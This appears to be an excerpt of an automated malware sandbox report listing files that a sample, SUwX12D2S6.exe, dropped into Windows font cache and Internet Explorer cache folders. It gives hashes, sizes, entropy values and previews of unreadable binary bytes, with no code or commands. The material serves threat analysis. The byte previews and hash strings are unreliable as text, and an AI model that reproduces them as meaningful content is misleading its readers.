SHA-512:	B07ECA1806AF178129CE8D783D96811395C04E2D5E5272A46FF102D4A07FE7A350EEDB28F951902FAB271FD53C99215BF46F8379C4BA68C9BFFB22CCA1273651
Malicious:	false
Preview:	.....K.........>...4......X.2F/Q;....KEHUj>........6..]Q..g;.b\|.d;..K.J..lF...KL~x.......5.%C....SF.9k.b...lA..B..../..6_.tN.0.E...G.".R]..0...L...?./cg.R....fQ...ZO...YYT.......Mr._c".~+d..0L\.t..f.O....p..b.......v.E..e.9......Z..Ec.,..9..j$bi..8....W..........]..r.}<dN..RM.w...y...s.D:8{.QHh....V...4.....6.KL.A..E.../.75.O.....c..4.4f..8(.~.{F.^.......I..x...J.....^iN....6.h..........P.kFU......o.A..H.Y..<"'..#c.\.Y....Q"9.jlk..Q.Jq.I......c...v..Q.g.!..\.J..X...zT...J....[..10..=2..hIm<I/!..y......M..Lq..]...HV..;...h......a...V..?....,H)...dP).-\....J...PY.>.O<!y......P.r'v......GR.......a.<..WGe.....i*Y..n...P\.t....u..{..J5.y.6....v..3...\|....>.....&:t.N...8......g:T.V..../..L......~q..._...x%-I.W..[..m.@Rc..\....bd-.......Hv..g.k.."..."...g4..os.}B\....`......C...g.'7...~...i..$v..-:.!n.}.'V%.z.KV.......1. .{Z_H...,.g.h~:..~..X.L.W....n..u.YJ...7...C H...Uh..2...-8....+.AC.....w.f....u....ru\|....C..........y8Pd.A....Tku.l.

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\24153076628.ttf

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	237902
Entropy (8bit):	7.240329927862393
Encrypted:	false
SSDEEP:	3072:InurEu9uJhX9iE/4JuPZ+9MtFzdB8vS0fi7c23DtjVn7WL5VNVsQ9SM4RocA:eurDuH9tYlm8vSjFTRuzsuV4icA
MD5:	71BB47F803E0C4D94174B789AA18CB8C
SHA1:	9BDF303F2EB158BBAC76594EB1713683D628899E
SHA-256:	6477B61825804472B557D88660141B669F532365FB48459D8FA72087B8F2614E
SHA-512:	8C2276B9BBC6E228D5C2749DC2166D2F716EE53EB42D379FB5936025B0836AA33CED462A17FB5A2383F14CB146EF20E82EE26B1B03CD313C6AD4A3D56822C249
Malicious:	false
Preview:	.......F.2."UE.[..nS=..5q..,..OI.Z..x.%2.R.......R....hs...R..v..i..!....y...I...\|.y...k. ...( .hyu......e_.H.$.D.k<....86}..'..#$ho.7...l.D&.p`8...;....} iA.[E..`..3!...T.-.A.t.$...,+.....&..x&...d.)......T.A.C.1;6.h7...g.YT.)..`..JY.J....0..rJ3..........q.Q..0.e......[d..ONT".)k..O..2.Nf...@..,.....[.'..q.Ah....tX<..k3.QlW.;.A.D. ..jR.p..............=DTH.....u.s.......0..b%pU..Yb.....1.H"......J......6...c...S%^..cE.}.W.>a.].]N.^.Lt._...C.....$....7.............DBA......4.a....T..n.A....X.piL..8Nt....q..x.^6E .D.h....Cc......}<.?^..a...I[ZJ]3.0.....5......O...F.t...!..8...\|..9&..)PM. [.[...m..>.6............^>!.w.`o<{..%..<.W..?.F^.......'..Ay..y...x4......Yz.....[.......~(..:cA.d..e(..X./ .....t.....mx..._....[....P...NxJ.%...O).~.. 9C8..<....2....B+..6.R+.P...Z.`.O.g~..Q_.s....A)]..4......8_5.o[......v.0..5).....o.F....OK.P6I;Y9BP......{K..(.!..(q...V......vN...v.5.W.y.5Y.....s...D[..(Gv.&....8..[ZR...g....;..^.(s..H...h?.<4.

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\30284701761.ttf

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	241378
Entropy (8bit):	7.258475518291055
Encrypted:	false
SSDEEP:	6144:2Qr/wqziTZJRl6KRN5ejp6lrKBQNF4W9nsUzIasMOphDtPcwB/:+TZJRl5O6FKB63n7zBgJtPc2
MD5:	50DC2FA0645AE4BF0349EC874C633349
SHA1:	D7A63BBC9295BDB28275587F42C8634053F44691
SHA-256:	93B0CBD28537E9100CCD8F50ADEE48498E528E6D906B3DFA8FAFAF79946C4D66
SHA-512:	7E369F6E7D4054E9B5FA8CC3014428485F7C2DF54AB37C7357F06EF76A3527280B45E6F371BAE1A86024FF4E8ED487D1254C58749EE0A76D691BDAC3A81B593C
Malicious:	false
Preview:	........A.y.X....+9.W.'.+]9^.nK^......z..%...$.....f..m....\|b......-.......6...U.d.b:......&...?..J..F.H.L!.#......Jv.N.h.?\.j..F.W..h.....w...!..c..g\..'.&1Y..i.3.r..,..g)M.z\..m4.}{...Q..k.\|....?.l1.l...(.@rR....9.T...Z/ .....#.y.Tj...Y...3...H\$..d@.......v.....q.1.#.../uc..5.M.p..a.'.C)#......]....o~.`p.jv....CEv..o.R....k\.+.i.%M.@1\|.F.4.].-..]....",.Y..r...L.c....y,.,QWP.#.Ie..P\|@.eb..#.....Z.:....X...&. ..&..0h.l..>....)v!.d.O...J....Jq...'..j.I.AA.......p..W..v.....G7.x...p..+...#..@...q..c. .6..2..@!.,.,6...$.g./..g..%X.;.P.x..fH.......P.....;/.....G.....-..t..:.H.>`.ym..........&}......\...(.FS.WWF@.../S...WWl.1.+...~.-..u.i.8...,.W.....z.%.1.......y......9........S. .r.)\|...e>.......$s..........;....\!...a..g..J...........[x..4.T.^...`O&...<}4q.1.{.K...B=..-..U..w..51q....T].......~..9....v.-fa.[i#(..p<...J.......1.D~.S....:............6....v.^A4.5...N.!.....Nk.0\..m.e.[...u.!a...1_..!.=..)..._b..(4.u....T..x.W

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\31558910439.ttf

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	237738
Entropy (8bit):	7.238853181885983
Encrypted:	false
SSDEEP:	6144:smPSONHIt7aXCaA6IJmVGQCmWduGL66mTsmdqjcK:smPSOV6OXCaA/JJmJGLLmR9K
MD5:	581B69BD7F2ACEFE09643115883889C7
SHA1:	04A22DABDB235A47C66962390F3ECEB68C208C6C
SHA-256:	3FC4EBE9D31EE8F45BA59773355295788B5652F5A43285A330DC664EEE022D8E
SHA-512:	00DA00F4F822391DAC8E635F1F1882B56AE99846DD08A56F4402BCC47CA14F8C4AED585C06D8B15FD9B9EDDB9287CBAD3783B9183D56C5C1598C4060D87480EF
Malicious:	false
Preview:	.......2......3...r.!>.EE..>.m]........I.\|."....\|..F...vY-......1.Cp......(.z....u?4..n..."....k.C3...G.%r+<z.G.}}........[..%...5YY....bG...&.S.)S4....6=..?..u...Fe.,W...E.=..)...F....T...QH........E.....'......wdQ.11RSW.D`.V%p...pI...Ysem.F>~.r.........;b.mp.0!.....:....z..@_..&....>R......@..p.f.)V7...>.?......Sv....N...r.}.....o.z....DH.Q.....n...\|3...A?E.C.i...X..U.B.YAw.%uBa...Y.HE...vo..b........_h..Q...=.....\.N...%....6.C.T.-L.L*Xn..W.....,.B.C...Jq!K;..W.......i..R...x9G.e.su.....uYz...L.E..%.`/...^.h.......,7.....?.....l.f..}t....`.L...T."F.z. .j....+....4[Uv.._..=...I.r$..P....<...9.E.b}..Ov..5.....v.-.\./...ez..X..W....'p...&r.A......7y....:..~...X..ub..c;$f.-.F.....a..........X.....G.....W..`l........Per......@...5U.]W......P^/8..B.Ra..3...IW.x.}m8..&....>3.W....),N@..g...l.>u1gAc1..1\w...K./..B[..#...+.$...#j.\|.v....d..Ud?..%....1.-..h.d.{.P1.y.Iky&<;O...O-..a.W..<...w.Z.,f.....q..?4_(......Rv..}.3........z.[a,...

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\37262344671.ttf

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	240706
Entropy (8bit):	7.265910624933276
Encrypted:	false
SSDEEP:	3072:tjTPnzorWizZ3L5HslEf97cMxZr+XttvuXtc7UvMOTZUqeZ/qV:VHorlz1Gef97cMXaWQ6yqU/qV
MD5:	B26BD14A0C0615F00DE71ACC456F57B2
SHA1:	161FA87FC635FAB45A22C2E9CA3EA8E90B596B31
SHA-256:	417B98A57FB488857078EEC149608F9EA55AC78D46C8CD2A5FA0EF6B9538BC13
SHA-512:	0E8123A8233D522F1DD6C63F1FFC49B371845D31369C041AB3426DD2F70CF4881C6C7034C9CB36FECB3D4A6D804DB8205A116D6DD0B1FF70AB38E01AFED62216
Malicious:	false
Preview:	........=.:......0e..5...&..]...M.Lm"..T.9/..C. :......=\|.-kE...8:C..{.F...\.].<a. ...1..[t3....r..~..d.z....B......g..-...0-_.k.5...T.n8p.....M...%h...2....r.....D...;F4.(.<6.2M$......j....:.nj5UZ......:vx,.#F..uP..i..:...-.VQ....n..SZ..O..Rp,6^.[..l.^...E...H...T...(....K.\.Q..".....e.,......'THh(.W`e.n{TH.v$J.@...X.)...^...-F...W....2.....8.i}.t.Q....#...K.r.f..3/..DyzE.RlA^.M....M...#...-.h......8...%.k..!... ..A&..P..h..-...I....t....rT.Z....U5aiZQ.z.....s...........K7\......s...........VS.?..\..t..TG.@.^+.giJ...2.m...j:....<'J\s........=.8....6v...i.........R..n.k.3..x.6..8......5V....N.C5N...6.u..w.v....CF..e......NY.....-q.p?j..If......W..~..].6.\.Ev...m..0....e.d:....H.ni..6.'t~O&s2..P.i.'.`Ob..,....Ah.)..4J!..,...7.,#Pq{... ..74.H&...m{....Q..:...2.PDL{&{.....X(.Z..'.g..O.r....1kPTs.Uv.....o.@..N...o\#sb..%&._......Z.......\.Zd...+.0....z.h`U>{.y.&$..[u,.{......[.....c.A.....WOog..pG..UIK.J.3.l..g...z.h..x.}.#.n.lP

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\27160079615.ttf

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	238518
Entropy (8bit):	7.234672667029977
Encrypted:	false
SSDEEP:	6144:X9c1qPrGTZp8UM4DJBSfwWGRETuiQxvdb/LIAH:XAqaPlMkBJtbd3VH
MD5:	A812319D9305EC733A459EB5958EB807
SHA1:	55D672FB76D289FBBA10457BD265849377D01DCA
SHA-256:	7FD1ADF50302D031686D70406F22C24D9600AECC33133C6BC7B14D3D8DB96FD3
SHA-512:	BA86C08E80D7F2EE7C16CB852295C1DC7FFE856A1D063B99E0330D66E89C7B75D4722304446F4E6ADB8BC9E93DDB3A3E7CA6E5F4C81EB43096CEF706FB69F310
Malicious:	false
Preview:	.....ddg.}.u.;TWQk.b]L..p......K........W..?.IMc...S..X....?2>m.......8.T.y.S2.I.G.r.=.>j.\.[..y+...y,)...t.Lm.....n)....M<'....E.>..1{.1.;..3..De.N7..W..\|....h....#z!m\..k...H..%........:...c......+.w6f ..X..wm....q...Z. ..$d.&..`R^.._ayF/ZX[d.,...].2.......P..u.~......m.-.k.I...B.q...._..]GYG.P!.Oq..T..0.&......{..V.}X.[..w.<.;.f..>..:$L.~3.c..@..........YL1g."o...:6..t_.J...Fb.n.".........]...X..m.^..).x..Y..eMA........r...+.oXg....k.H..\|...=.'m-.tD.&.XJA...^T..T.....J..hiWC..'...k...f.V..3$%.....Q.d......Uov......9..C...Cu..=+^.q...y...S..}.#H3.....nO.}..s3....ey.3CO.Ttj=..G.]...K./..ej{...u..=fQ.l.o.r.&h...D.... $d....L.M..yu;.fR.r...&.n.6.....G=...6.0..I.....?...Qo.........Ep..EUT\...e.?.@...&... ...A&j...@6..=%).P06...I......R5;.=..B...5...\..K.m8.R.WkQ..;qP...{Z..o..7d....y.,.8`.kqphW.7..>..yy.Y6.FH..<.&..L._g....&..v.7.^..kQ.m..'x........{.......J...z.yD.zg.0Q...i.....st.x%o.uFq..,..b0...F.....A..8.A.he.[.;O...lQ9H`....:..,$.F.

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\28315153308.ttf

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	241282
Entropy (8bit):	7.259124700313762
Encrypted:	false
SSDEEP:	3072:1WaYW2RNHSWgjsxA5GuX1Q/niq6VBROix4BUdBY2VamahXe+XRKIvpNl081P:8BWE9heFlQ/nBcBwiWqYcce+Vi0P
MD5:	EBF883B81212529A61CFC83450BCE98D
SHA1:	65CAD6328ABD7814BA0C2C1B73A72384B829A856
SHA-256:	EBA0C0BEB87A9744EEB444093FF57D0B0DB1655A8B4417B98A119DDCCC237189
SHA-512:	E75E1D8476C2E3B1D2692B0AFAA3E00E8C980A55273CA7B47C28F85B49152C4F6367FF446FF869D9F68E5A47348CAE2DD48DE8D295C292046C14BC89898DBBBF
Malicious:	false
Preview:	.....L...].=....W..F..a..d+w"........-.T%...D=..9....f..^.......n....!....l^..^.B..U......hw1q..b-...Y.y.a.J.h-..2-..#........_x....P....Q.N..U..S..(.l.$%.Wl5......fO...r.r2....\|xY.&S...Jo{E/"ZZ..'Y.T/....8Z.G...Y.>...X]...i...a.8.f...}I .[e..s\|o!J.y.z......\K..[sQp....Tz...A.9....v... :Z.9..@f.qr....fHr.5..\.=.....J.....Q34"."...?.....E.....5S1......V......v.,.Z]=Z.....b"6......$j.S......B.B..y.&..yE..a.7.Zh.....W@Q.-ZWX$.71.....i.z........./5.O..)nD.7....x.Z....A.....g...w.......Ma.o\|M..9....D....!#.......7.._D!.*B..mh.....fA&..D.Wg0-.R.:....c .a.D..v...:.P......[.EN_.$...}.a..h>...."_R.>{.{YQB.c.{....F./.6..v.{\..........'1...C.H..Ia:zY.p.s..q8....9q...~.... ....K.._....lyx\G"U... ....6&. .J....a{.5$q<O:!t...eT]s.Pq.$...L._Gq..s...IR..n7.m..k..\.....M.=w=..>.JG.uv,U.E.N..>G.#.D.O..W.0.>.O....og.e.m...v.~...B.4U...9.1..Bvze;....e..cY6w...".... ...Y.!r.+<.. .'5...f...)c.U......f.~i.v...u<....Qv..4.&......./-.13"rZ...+%....C......

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\29939506207.ttf

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	237946
Entropy (8bit):	7.2353277222655334
Encrypted:	false
SSDEEP:	3072:1MRLVJmUROo5cZLjh9oyDBAI561hoJ6Ru+3KXijsXC5LD7eZY3lsGukIO2NppdjM:14jmUXi9jkLI0foliqikuQOa/dKF2Ar
MD5:	7BAA9E2D7FE9C69E25AE66A60AC8CFC8
SHA1:	8D34A3F2E4907B30CD1939854BBDF337A2AC4327
SHA-256:	C3F65249654A7442876B914D630B80105C8F0E5BB03845AB4A6AAB1D5F58E803
SHA-512:	96DF7CA7138CBA9C9E23E305C58216814C4EBFBCDA65E7A7C3B4E0360DE7313D51927E100970E3478FD7AE82C908C3E53C05158AE849D610223C01713C811823
Malicious:	false
Preview:	........../...J.@........]'.l...fz.......=.".h..I.t.2....H^.4.\|?.]....z.....8.?........<_.O.x.n{.]7.6...2){....q XW.Fo.....:8Ix..\..v.../0..P.L"....R~..d j........wv... ....2....9.E?@`.JN.(a..G....%l. ..Up.n\......)....'udG.....p...$h..._...[..n6H.K..l.YK..K...I....d.......2....{c.DB.......'.^.g.DDD.G:.;..e...e..s_G..~..$5...2..t..M..`..+...ZMG.#..G.:K..........vh...{..2A:......`(..zGf...1g`..Y...bo((..K.`.......I.L....."`.AF..<o....'..LH...P..s...S...M&..Q....V..;S..E.r.km.qN..,G....Xk).....qW!.0..d.@.pd.>V^..}...:..Kj..!.FE[eW...0' !..\|U..A.3...U. s9a.`'X.`<.....zg6t..t....M.1..+%8.Cn..>...v:.d.. \|...Q"..2h..T.-s..M..=..".i.6......Tg....?..#..X!.}...2.6...$.I<c.... .R@..5...<@..T..)x.;k>..d.J.........hG.}W...k....%"...y..........p..\..q]S.whmC..AimC.W..N7..K..P.9@..v.^.....b8g.v..@...Ud.&...Z..O}..+.T..........L...{u._.B.F.e...tGm..c.#...[v?.\...e..7/..2.....J........$.=Y......3a...m#..."....^G......b...y....,Ww.F\...].L.U...*..D

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CloudFonts\Aptos\31169036496.ttf

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	240470
Entropy (8bit):	7.266026580221365
Encrypted:	false
SSDEEP:	3072:GhwjnL/s7WYrUbsG0Z7GfTjvpB7t/hMxSiA08dlPui6ZlQUmpK4AhB0Yne6hCne1:GhwjLmrUXfTbVU8dlGtQzw41+Tw1DB5k
MD5:	C8E178FC4102A127F291F7711BDE0B70
SHA1:	CE1173A346D78858AA0F4BCE31205755358F697C
SHA-256:	80C5A4B51D0EE63A18F308DEA80413CE1F7262B6775093D3A5E36550A2E490BD
SHA-512:	D98F9D5A7048849711C3B1B5BC36EADB7B3185E72A8473AFC1150C6F583C780BB41BA8D275C5CCAED3D3596FAE4D462C466E30612E543F831F91F6777B28BDBD
Malicious:	false
Preview:	.....".h.x.c.....><le.........&m....U(...a.....FB.w.G...s..........eJ..;n..hQ.1..<....Wr........EW......b8....`to...Za.]'...k..<..s.M..........A.uv....... .6.}.....L..ut.]..... :.".p~..6.E.X.qd.`..X_....2.O..y..n.5....`.C.......P..-..K.v.....]...v...^qh\.......#...X..fh.wq&@s.v..[..k\!Z..'-...S.\$O...C....4.....=w.d.F$.c..=)..p...pDX......i...t.._. ...I.w.k...................:.F\|Y.1...t0.!P.%...Tz>JEO.'.v..I.Eo...Anu.Z.0.>...=.08\|...U_..K..HcU...O.1^?.s..4kp;.p....$.OY6.D......xZ...6...U...J..I[.\|.u..e.!.k-...s.?...G+c..y.Rt......G.>..M.Mj.o._3J..W.-...R....kf.......=.<6')d..+w4..."....5.r.X.(.,.r\dB).....Km.2...cogZ-O.}5...p.M...I.v..e......%.V.h..tQw.....Y_.N-.aA..G..N...=.G...b..U...t.....7e.f%zo...:<..n...f.+gm.&.6.@.....9.c.T..%...z...b.Mv.!...Zj.2.n....V.yq.I@...B..~z...).......b../Z..'...Z..To.....N....q4q.kb.j..]...j.s...W.T.....\|..../.).f..n...378h.c=..IO..z.@1eo^..<..........$hn5...K....S.2(\..........h0.4..ZPf....v.E.....

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edb.chk

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976641709632652
Encrypted:	false
SSDEEP:	192:lgxS46qYsWdK6XvE0HAEpWGR5QvQxpfTGlpi6wg98Cup:l/4LYsLQvFPbRWQxVGfiHlCq
MD5:	D071CAA726149D38376D545C57FFB8F5
SHA1:	4664BD531CA688D8E323B345F799446C3BBECBB2
SHA-256:	2EDB0715EF8DE95E9519BC1C6AD7D34B39BAD47CFA06DA0B1BF2CEEF17E3D796
SHA-512:	2B75FE04EFCE7E17B77D1727230FE6F0B2DEAC9018C5FB317006A5D7D639F958006A5839F44ADBCF2983BCDEC979665804A7C57B77C11D363762214D8D87E540
Malicious:	false
Preview:	A....'..0.~A....n..;..O6Es.....Z.5...q.Bl.=%.4@w......h:...$D.r....6...{.]-.t+....'ne.xRv..PG_q.4PE....U...c....B..N..S.....>d0.N.......jg.sa@.............62."....."d.s.2\..u9.$d.Q....;....."M..q../e...eT..d.C..:.\._..g4.S.v%#..........a,Ymb+\|.'....=...N....../z=.#.......l@.R..\.2.,....'..;..{.&N6.{.J+...\|D`.J#.Y.`...R....M.5.O....B%.....XsB3....!.[.....]..n".;.R.?.~..1..>2_.B.\C.h.9.4.l.5.(x......."c`\|.D&z..4.zMT).......F....~.5......$[}.U..{x6.F..{\|....M....P.}..p%S6H...p\........7.o...U_..,-s.;..s.N...../k...ke.N..wz.\|Z.01O.NXJ.&.0......]4+.+.>.s.q..F.x.;...I.............}.X.>.."b........m.h2....?!.Z...,]\V..x..IY..@.,..pbX..l..BH.Q,.Zd.....3 _..{8.s.Y.E.+.;....R#..7......~....!..3.....^.h.N.... UR&.......P......<...aGD....~..N..QL`}....e.c.lF........gX.=.fw$._?0.....L.k._m)t.7:.!.A.#....]...}.....jf,..uE...s..x...d.#..S.....9./.l......osw.. .#.x e.U..+N..[?E....S......f..f4...l..........U.....'.....9...=...N3nc]].

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edb.log

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	4.010106416098319
Encrypted:	false
SSDEEP:	6144:Fe1a7+L6R8hm13KzLW2n3LBEvZddJkcoesPBU:I1ao6RQ/rn7B8LYeT
MD5:	4BC3882AFFF7ADBBA04A5C25E1C672E2
SHA1:	7480E7DB7A21925933E2DE7C12D1C501D9541190
SHA-256:	9B509F5D28CA45661BFBFAD07D5FA26968FD2C9D91399A82761CE2E21BF3EC2D
SHA-512:	5DDEA81E38965927C8A80FFF260155C94AE71AABB63CD07CB4D5294812E2B93015D7F6A14BEDEE653663B053F1B752E299CF35CD14EE674F21B78C824A505E29
Malicious:	false
Preview:	.........U........D...X.k.......)b.f.7..Bh{....._.'... l.S.7.K..XJu....(.^.".5s.....h..q.8.>.q..&....;_....t......Z.\...A..-..g.v20.....Oh.R..0.?...6..J.._:.+.2.mgjRV...^;.pP...PC.;..2.......r..W..X.W.O..?..:....../3.E......'cH#.2........@.I.0l....&...T......"...8..........^........w.M..E...C...A.......m.+Q&..}p(..U.sK..h..D. M....o.tu.N.E}...>.a...\|. ....X..!.A..ka...\:.M...F.......+~.P".o#..(....%.V....=MO.=...P.,.G.&..6.w...j#..q..N...X..z......".-..Y..p.z..a..w]%X.Y"L\..(.t&T".BS6R.8...<1{$0.u../.T..P.}.qqmX.~3.[..%\.`.....4f<.].3t.....O.VU..io.......is..;...].#...!.T'?pQ1.+$..L.4./4.:.."...=...2......B.......?EN....K<...N..s.$.6}wv.Ea.J.~8....0..3.(....+..$:G.U.9....."o.^...G.I;{J.Q....#)..:...>..+..h..Q...Z......S.Q..i_qQ.!.....WS"g.i9..6.R. .....Z..I.....".u......z..u..RC......9n,..=..0...1X..B,...jU.dK..u.\|.C.zG.!o.....C\|$...[:.l#.=.....jw9....&./........E:.K..ny.$.z..V..#^c...yEF..L...9....4.....n.J..\|...s.5....%.E.a..U..%`....O.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbres00001.jrs

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2076523116264823
Encrypted:	false
SSDEEP:	3072:pLmcBPttjjRWBi4c5f8cOkh6GBKeceGe2hOCZgVcD8xEwkyFIKv8ZiC5VmcA:pyCPsMZ5upGBiOtVc4Rk4viiC5RA
MD5:	B87799CE679008DE508DDF5A1D219F7F
SHA1:	06DFAABDBD498E2A2C49C40E6A7B7CE06D2AFDC1
SHA-256:	1E469AF97324ACEEE4DF188140BA148B6AAE3843D31B1F976FC949738F165BA4
SHA-512:	FA4D297E9D1D2C1DFDDF8ACD46F817DAB2B7755A3DCC2910BF348DAB8DDD83FFD970D445421687D32E56F4F024250D29080A75F977B57FE4D0EDFDB12FCE5BAA
Malicious:	false
Preview:	......gSO...}.i..u....vB.X.q.Y.~...T..b,..lJ.m.T.\.%.P3.uW...#.\|i..>..A.....a......P.._....Ai..3j...X...=x.x].v.."^....K(.E...uKJ...r...3...sH.s4[......J.....d.VIp>m.FAy.........-....&.i}I.....k...b......lsXd5.a....-/..>.3......^..2n.6....~..Dd.9..w.F.e.W./..d.e..R...jU.0.B.o..\|..;..lu..F.(...1..U..L.vzA.b.&..`....<c...y..Nf.O............aj...&K0......Z.H...z.....4mb.}3..R.P.d...1.l.9.....MJjl..G.....,b.0...aJ......4./...g.#..q7..r?.i..42....".Z.Ns?..<4..).7,.@......CX"{y.6d2.....4WaY....n.....=y../...~.t.2.W.\K..@..8<w...5.:V.....f.>f./9.t...Nr..B....i..6H..t..a..8Dm'm.3R..%.9+.n.f.`xE.....K...m.C...2.=PH....H......{I.k....<.Uw...........1.....)...zX..p.(.....N.^.O...2..#........c.....p......~.+PS%....`..XX.tPp..p...iI={.W...f.{.......A.=.%\|..\}....?&Y/..<6....V.5.4.bG./(.q}...W......x.\.%.^..!/?....&.-...%w..@.k.d...0].K.@..N..b...d.."..^.......Q..8..W.i....hA..ba..2,..+..36.M.z....i.b..Z.p...Qm.g.R......#...mhY........J..l........

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbres00002.jrs

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207758739100589
Encrypted:	false
SSDEEP:	3072:sOMcGnqApUP8cVa+UTuqp/+XWWu/EmEx+ri52iHl5M1ZZkM:oxt2ar3NC4BEguw
MD5:	86C56F97B6F13942FB3A3B09A753DAFE
SHA1:	55BADA15E52C1054CBA3E9F5B853E8F907706620
SHA-256:	7495D0640F29E3C18AF01FA5093849C9C9B1B01CCD6DC85011CEA33D6B2E9220
SHA-512:	D197E56DFC3EC577C772FFC54F43CA8EB9E82EE6DFC73D3603D933CCF1139640E49FDB0FC5936A14A165E1F80EDA54E53C5A540AA1755E478AEAC8B9AEC6D6C6
Malicious:	false
Preview:	..........Z....N.)..^C.%O].T.)u.8.`,.........b......l..i:.!.#....'/....c....RMD...k..1.N..1.g5iD...6".z..[.cPr..\|.#7'{8..Bm...`s.8..ir..].]A..J.]..l.....<g..8.pE=........O........@.s.O..{.a....i..>.-.{..$O.a...z..jfj...aYs..R.....n..b.-5?h....$....om.rB.O...&..'.H....%.....Oi.F[..1`%..G...@.......KA.VeaY\|d..{83e.P.^.4vE#6.)w+e1.m.I...........w{..LH.nP.[!sO.q1..[G?.A..DnR...R..W.:aE-H\.jA].L{.!J..D. (...;.B....K_......K...G...7).MeO..tX.a, .7..}.\..Y.Q.;._...P...v..n.9.u.....).B[.._..m.:.z..g....1..f......\|ew5.O...dq.ocfl...$....0..\|...wR.y..n..C..!...Gj.1[..%..LZ.T.M.J.......K..c{....y.u5a.V.0k.M..(\..4.c..n4<...$......B.E.K.tC........q...Iy.\gv>6+b...4.d ..?...A$s.bx..qj.....#z.e..][.Y....% ~.2....\|.c..6.....z.[.Y..D..V3..h..!\...5b....w...$...WQ....hIz.R._...W.9#7[....f....c.;.p...W.?..%...,.x..l.... .~.0..I...j.{\.HD.....n.b.\...J#D.=..P-...{b....J.+ p......,7....%...j..@1.f.f).cb....b..G..8K...r......=1....[C..P...&.a.t.......e.....nV]

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbtmp.log

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207824377702783
Encrypted:	false
SSDEEP:	3072:xi/lzZLBRqSt/kVFNxUC2DEOaA/NRi7KHNWuvanzEmrvJ/y2:wl1LBHt/8DV2DOMCUJeVX
MD5:	765A41F58B64E180CEA7F90012F46754
SHA1:	2CAFBE9020B9E8A94CC7128963A91726FC6C85E1
SHA-256:	4A6BBF8B5A9FF2F1F3DAD9CDAC4BB89D371B145CF751B6F85CF61FDE2D7931AB
SHA-512:	82958DFB73EBF5C19EC9A8EF3D7918EA3E82A2BBBAC9756A68E998141A1E3D8513FE249E8E0B890466D66461CF535A0215A52975BDF11CAA79419552A9E88FFA
Malicious:	false
Preview:	........?..x7xJ...C.b..W....=c@...D.S.k.....E.......g..o...!...\.....k...`.8...u..~...t.......;.%\......).....]...U.3.-K{.%.AK.G.{....lU.....[....:2.1.\|.+..A.D..)...E.r.Hm.{^{.~.'.=..M/....@.....\|.......Wy.[lB.r.L.G....Yn\|qR(....\|D...^.&.'N......?e&..U0...oK.Iu.ee<j.d..xA.... E...e........,H....p+O..3.v.F^B.....\.'.3{.......~...A...........6..G.&...........5...9..p..oub...kKN.......X~....?yv..@...ib_...7..N...'...~jE....4..J...........DJ....f4..i..cP......]Oof.....-.y.y...f.$..S0y..z.wW.E.h. ..[.n..+..`<...i9.i...........q..h......FY...58Fy...V%w=.x....eS......jQ....H...#+...R..8.....u..}.;.w.z.b.AS^.t^wO...:.F+...?Uw;Z..\03Uw.b.N...U.:..q..?J\``...}.nleW..$.t...l@.Lf.6W&%Y#0V.^kn.....`..9.[..D..^'m3%..T.:?.7...hG.k.@.jR.Ne ..$..H.[........7..`o.Q.8.DI........<=N...(..../T..<.c..la?.B.,..............L(..m.zb..XH...[.Qx..c.#....TH.O:.......................Q.y...tP.O.]j r........l...$Y[...h*1Dn......c.../....A.,si.^.....M..?>.w.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3384
Entropy (8bit):	7.935979939988605
Encrypted:	false
SSDEEP:	96:1FLnHP+dEjKqVMCiLZSfqm792w2CUIZyhMJ9:zHWHSMC3fh7924PB
MD5:	30BEF50A0EAA3D312F3CAF490D8F5796
SHA1:	DD2E244163B3111943CAEA3445FA1F8EB091136A
SHA-256:	F1934793605ED9FB266C2A25656DB805A4BA9BE1955E203488DB416EBF1512BC
SHA-512:	46D8AAEA6B22D86748042F3141497DF06E4BA0CA4BA2D02AEB143583978346315FDA331D02A5BDE9A33AD5F41020B1523B57DDD7D7885B981417FFAAA13FC7F0
Malicious:	false
